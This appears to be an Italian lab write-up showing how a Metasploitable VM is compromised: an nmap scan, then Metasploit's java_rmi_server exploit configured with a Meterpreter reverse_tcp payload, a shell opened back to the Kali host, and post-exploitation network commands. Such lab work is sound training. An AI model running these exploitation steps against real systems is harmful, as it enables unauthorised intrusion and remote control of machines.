

1. Nmap:

Per trovare porte vulnerabili, ho usato il comando nmap:

```
(kali@kali)-[~]
$ nmap -sV 192.168.40.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 10
Nmap scan report for 192.168.40.101
Host is up (0.0027s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgro
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgro
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engi
Service Info: Hosts: metasploitable.localdomain, irc.Me

Service detection performed. Please report any incorrect
Nmap done: 1 IP address (1 host up) scanned in 52.74 sec
```

2. Msfconsole:

Ho avviato msfconsole.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Save the current environment with the save
future console restarts will use this environment again

File System

Felipe

+ -- --=[ metasploit v6.4.50-dev
+ -- --=[ 2496 exploits - 1283 auxiliary - 431 post
+ -- --=[ 1610 payloads - 49 encoders - 13 nops
+ -- --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
```

3. Search:

Ho avviato search java_rmi.

```
msf6 > search java_rmi
```

Matching Modules

#	Name	Dis
0	auxiliary/gather/java_rmi_registry	.
1	exploit/multi/misc/java_rmi_server	20
2	_ target: Generic (Java Payload)	.
3	_ target: Windows x86 (Native Payload)	.
4	_ target: Linux x86 (Native Payload)	.
5	_ target: Mac OS X PPC (Native Payload)	.
6	_ target: Mac OS X x86 (Native Payload)	.
7	auxiliary/scanner/misc/java_rmi_server	20
8	exploit/multi/browser/java_rmi_connection_impl	20

Interact with a module by name or index. For example `info`

```
msf6 > use 0
```

```
msf6 auxiliary(gather/java_rmi_registry) > options
```

Module options (auxiliary/gather/java_rmi_registry):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s)
RPORT	1099	yes	The target port (T

View the full module info with the `info`, or `info -d` comm

4. Java_rmi:

Ho eseguito `use 1` per avviare `exploit/multi/misc/java_rmi_server`.

5. Set:

Ho usato `set RHOSTS` per configurare l'IP di Metasploitable e `set LHOST`` per configurare l'IP della mia Kali.

- set RPORT 1099 per configurare la porta.
- set PAYLOAD java/meterpreter/reverse_tcp è usato in Metasploit per definire la payload che verrà eseguita sulla macchina bersaglio dopo una riuscita esplorazione.

```
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP request is delayed
RHOSTS	192.168.40.101	yes	The target host(s)
RPORT	1099	yes	The target port
SRVHOST	0.0.0.0	yes	The local host or IP address to listen on all addresses
SRVPORT	8080	yes	The local port to listen on
SSL	false	no	Negotiate SSL for all connections
SSLCert		no	Path to a custom SSL certificate
URIPATH		no	The URI to use for the HTTP request

```

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.50.100  yes       The listen address (default will be the interface IP)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command
```

6. Run:

Ho eseguito il comando run per avviare l'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.40.101:1099 - Using URL: http://192.168.50.1
[*] 192.168.40.101:1099 - Server started.
[*] 192.168.40.101:1099 - Sending RMI Header ...
[*] 192.168.40.101:1099 - Sending RMI Call ...
[*] 192.168.40.101:1099 - Replied to request for payload
[*] Sending stage (58073 bytes) to 192.168.40.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 →
```

7. IP e Route:

Comandi utilizzati:

- ipconfig per visualizzare la configurazione di rete.
- route per ottenere informazioni sulla tabella di routing della macchina vittima.

```
meterpreter > ipconfig
```

Interface 1

```
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

Interface 2

```
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.40.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd96:7627:c839:96fa:7011:aeff:febc:eef2
IPv6 Netmask : ::
IPv6 Address : fd1a:18d1:e46e:f898:7011:aeff:febc:eef2
IPv6 Netmask : ::
IPv6 Address : fe80::7011:aeff:febc:eef2
IPv6 Netmask : ::
```

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.40.101	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway
::1	::	::
fd1a:18d1:e46e:f898:7011:aeff:febc:eef2	::	::
fd96:7627:c839:96fa:7011:aeff:febc:eef2	::	::
fe80::7011:aeff:febc:eef2	::	::